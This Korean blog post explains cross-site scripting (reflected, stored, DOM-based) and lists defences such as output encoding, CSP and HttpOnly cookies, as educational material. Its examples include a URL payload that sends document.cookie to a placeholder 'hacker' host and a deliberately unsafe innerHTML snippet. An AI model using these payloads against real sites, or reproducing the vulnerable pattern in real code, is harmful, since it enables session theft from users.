업무 ν•„μš” 지식

[Security/Web] XSS(Cross-Site Scripting)

KIMHYEYUN 2024. 6. 7. 17:29
λ°˜μ‘ν˜•

XSS(Cross-Site Scripting)

XSSλŠ” μ›Ή λ³΄μ•ˆ 취약점 쀑 ν•˜λ‚˜λ‘œ, κ³΅κ²©μžκ°€ μ•…μ„± 슀크립트λ₯Ό λ‹€λ₯Έ μ‚¬μš©μžμ˜ λΈŒλΌμš°μ €μ—μ„œ μ‹€ν–‰ν•˜κ²Œ λ§Œλ“œλŠ” 곡격 기법이닀.
주둜 μ›Ή μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ˜ μž…λ ₯ 검증 λ―ΈλΉ„λ‘œ 인해 λ°œμƒν•˜λ©°, κ³΅κ²©μžλŠ” 이λ₯Ό 톡해 μ‚¬μš©μžμ˜ μΏ ν‚€, μ„Έμ…˜ 토큰 λ˜λŠ” 기타 λ―Όκ°ν•œ 정보λ₯Ό νƒˆμ·¨ν•˜κ±°λ‚˜, μ‚¬μš©μžλ₯Ό ν”Όμ‹± μ‚¬μ΄νŠΈλ‘œ λ¦¬λ””λ ‰μ…˜ν•˜κ±°λ‚˜, μ›ν•˜μ§€ μ•ŠλŠ” 행동을 μˆ˜ν–‰ν•˜κ²Œ ν•  수 μžˆλ‹€.

μœ ν˜•

1. λ°˜μ‚¬ν˜• XSS(Reflected XSS)

μ‚¬μš©μžκ°€ μž…λ ₯ν•œ 데이터가 μ„œλ²„μ— μ €μž₯λ˜μ§€ μ•Šκ³  μ¦‰μ‹œ λ°˜μ‚¬λ˜μ–΄ μ‚¬μš©μžμ—κ²Œ λ°˜ν™”λ  λ•Œ λ°œμƒν•œλ‹€. 일반적으둜 URL λ§€κ°œλ³€μˆ˜λ‚˜ 양식 μž…λ ₯ 값이 HTML νŽ˜μ΄μ§€μ— 포함될 λ•Œ λ°œμƒν•œλ‹€.

<form method="GET" action="search">
    <input type="text" name="q">
    <input type="submit" name="Search">    
</form>

μ‚¬μš©μžκ°€ "q" λ§€κ°œλ³€μˆ˜μ— μ•…μ„± 슀크립트λ₯Ό μž…λ ₯ν•˜λ©΄, μ„œλ²„λŠ” 이 μž…λ ₯값을 검증 없이 κ·ΈλŒ€λ‘œ HTML νŽ˜μ΄μ§€μ— λ°˜μ˜ν•  수 있음

http://example.com/search?q=<script>location.href("http://hacker/cookie.php?value="+document.cookie);</script>

μœ„μ˜ μŠ€ν¬λ¦½νŠΈλŠ” 본인의 μ›ΉνŽ˜μ΄μ§€λ‘œ URL을 ν΄λ¦­ν•œ μ‚¬μš©μžμ˜ μΏ ν‚€ 값이 μ „μ†‘λœλ‹€. 링크λ₯Ό ν΄λ¦­ν•œ μ‚¬μš©μžλŠ” ν•΄μ»€μ—κ²Œ 본인의 μ˜λ„μ™€λŠ” 관계없이 μžμ‹ μ˜ μΏ ν‚€ 값을 μ „μ†‘ν•˜κ²Œ λœλ‹€.

2. μ €μž₯ν˜•/μ§€μ†ν˜• XSS(Stored XSS / Persistent XSS)

μ•…μ„± μž…λ ₯값이 μ„œλ²„μ— μ €μž₯되고, λ‚˜μ€‘μ— λ‹€λ₯Έ μ‚¬μš©μžμ—κ²Œ 전달될 λ•Œ λ°œμƒν•œλ‹€. 주둜 λŒ“κΈ€, κ²Œμ‹œλ¬Ό, ν”„λ‘œν•„ 정보와 같은 μ‚¬μš©μž 생성 μ½˜ν…μΈ κ°€ μžˆλŠ” μ›Ήμ‚¬μ΄νŠΈμ—μ„œ λ°œμƒν•œλ‹€.

<script>alert('XSS');</script>

λ§Œμ•½ κ²Œμ‹œνŒμ— λ‹€μŒκ³Ό 같은 μ•…μ„± 슀크립트λ₯Ό κ²Œμ‹œν•œλ‹€λ©΄, λ‹€λ₯Έ μ‚¬μš©μžλ“€μ΄ 이 κ²Œμ‹œλ¬Όμ„ λ³Ό λ•Œλ§ˆλ‹€ μŠ€ν¬λ¦½νŠΈκ°€ μ‹€ν–‰λœλ‹€.

3. DOM 기반 XSS(DOM-based XSS)

μ„œλ²„μ™€μ˜ μƒν˜Έμž‘μš© 없이 ν΄λΌμ΄μ–ΈνŠΈ μΈ‘μ—μ„œ λ°œμƒν•œλ‹€.
즉, JavaScriptκ°€ DOM(Document Object Model)을 μ‘°μž‘ν•˜λ©΄μ„œ μ•…μ„± 슀크립트λ₯Ό μ‹€ν–‰ν•˜λŠ” κ²½μš°μ΄λ‹€.
κ³΅κ²©μžλŠ” URL μ‘°μž‘μ„ 톡해 μ•…μ„± νŽ˜μ΄λ‘œλ“œλ₯Ό μ£Όμž…ν•  수 μžˆλ‹€.

μ•…μ˜μ μΈ μŠ€ν¬λ¦½νŠΈκ°€ ν¬ν•¨λœ URL을 μ‚¬μš©μžκ°€ μš”μ²­ν•˜κ²Œ λ˜μ–΄ λΈŒλΌμš°μ €λ₯Ό ν•΄μ„ν•˜λŠ” λ‹¨κ³„μ—μ„œ λ°œμƒν•˜λŠ” 곡격이닀.
λ‹€λ₯Έ XSS κ³΅κ²©κ³ΌλŠ” λ‹€λ₯΄κ²Œ μ„œλ²„ μΈ‘μ—μ„œ 탐지가 μ–΄λ ΅λ‹€. 밑에 url을 보면 # 을 μ‚¬μš©ν•˜λŠ”λ°, 이 # μ΄ν›„μ˜ 값은 μ„œλ²„λ‘œ μ „μ†‘λ˜μ§€ μ•ŠλŠ” κΈ°λŠ₯을 κ°€μ§€κ³  μžˆλ‹€.

<script>
  var search = window.location.hash.substring(1);
  document.getElementById("result").innerHTML = search;
</script>

μ‚¬μš©μžκ°€ λ‹€μŒκ³Ό 같은 URL둜 μ ‘κ·Όν•˜λ©΄,

http://example.com/#<script>alert(document.cookie);</script>

같은 μŠ€ν¬λ¦½νŠΈκ°€ μ‹€ν–‰λœλ‹€.

예방 방법

1. μž…λ ₯ κ°’ 검증 및 인코딩

μ‚¬μš©μžλ‘œλΆ€ν„° μž…λ ₯받은 λͺ¨λ“  λ°μ΄ν„°λŠ” μ„œλ²„μ— μ €μž₯λ˜κ±°λ‚˜ HTML νŽ˜μ΄μ§€μ— ν¬ν•¨λ˜κΈ° 전에 λ°˜λ“œμ‹œ κ²€μ¦ν•˜κ³  인코딩해야 ν•œλ‹€.

  • HTML 인코딩 : &, <, >, ", ' λ“±μ˜ 문자λ₯Ό HTML μ—”ν‹°ν‹°λ‘œ λ³€ν™˜
  • JavaScript 인코딩 : λ¬Έμžμ—΄μ„ μ•ˆμ „ν•˜κ²Œ JS μ½”λ“œμ— 포함
  • URL 인코딩 : URL 내에 포함될 데이터λ₯Ό 인코딩

2. 좜λ ₯ μ‹œ 인코딩

μ„œλ²„μ—μ„œ 데이터λ₯Ό λ°˜ν™˜ν•  λ•ŒλŠ” 항상 μ μ ˆν•œ 인코딩을 적용

  • HTML μ»¨ν…μŠ€νŠΈ : htmlspecialchars μ‚¬μš©

    htmlspecialchars λž€?
    phpμ—μ„œ μ œκ³΅ν•˜λŠ” ν•¨μˆ˜λ‘œ, HTML νƒœκ·Έλ‘œ 해석될 수 μžˆλŠ” 특수 문자λ₯Ό HTML μ—”ν‹°ν‹°λ‘œ λ³€ν™˜ν•˜μ—¬ 좜λ ₯ν•˜λŠ” ν•¨μˆ˜

  • JavaScript μ»¨ν…μŠ€νŠΈ: JSON.stringfy λ˜λŠ”JS 인코딩 라이브러리 μ‚¬μš©

3. Content Security Policy (CSP) μ„€μ •

CSPλ₯Ό μ‚¬μš©ν•˜μ—¬ μ‹ λ’°ν•  수 μžˆλŠ” μΆœμ²˜μ—μ„œλ§Œ 슀크립트λ₯Ό λ‘œλ“œν•˜λ„λ‘ μ œν•œ
이λ₯Ό 톡해 인라인 슀크립트의 싀행을 λ°©μ§€ν•  수 μžˆλ‹€.

4. HttpOnly μΏ ν‚€ μ‚¬μš©

JSμ—μ„œ μ ‘κ·Όν•  수 μ—†λŠ” μΏ ν‚€λ₯Ό μ„€μ •ν•˜μ—¬ XSSλ₯Ό ν†΅ν•œ μΏ ν‚€ νƒˆμ·¨ λ°©μ§€

5.λ³΄μ•ˆ 라이브러리 μ‚¬μš©

OWASP의 ESAPI λΌμ΄λΈŒλŸ¬λ¦¬μ™€ 같은 λ³΄μ•ˆ 라이브러리λ₯Ό μ‚¬μš©ν•˜μ—¬ 일반적인 λ³΄μ•ˆ 문제λ₯Ό ν•΄κ²°

6. XSS λ°©μ–΄ 라이브러리, λΈŒλΌμš°μ € ν™•μž₯μ•± μ‚¬μš©

μ‚¬μš©μžλ“€μ΄ 각자 본인의 λΈŒλΌμš°μ €μ—μ„œ μ•…μ˜μ μΈ μŠ€ν¬λ¦½νŠΈκ°€ μ‹€ν–‰λ˜μ§€ μ•Šλ„λ‘ λ°©μ–΄

7. μ›Ή λ°©ν™”λ²½ μ‚¬μš©

XSS 뿐 μ•„λ‹ˆλΌ 각쒅 Injection 곡격을 효과적으둜 λ°©μ–΄ν•  수 μžˆλ‹€.

728x90
λ°˜μ‘ν˜•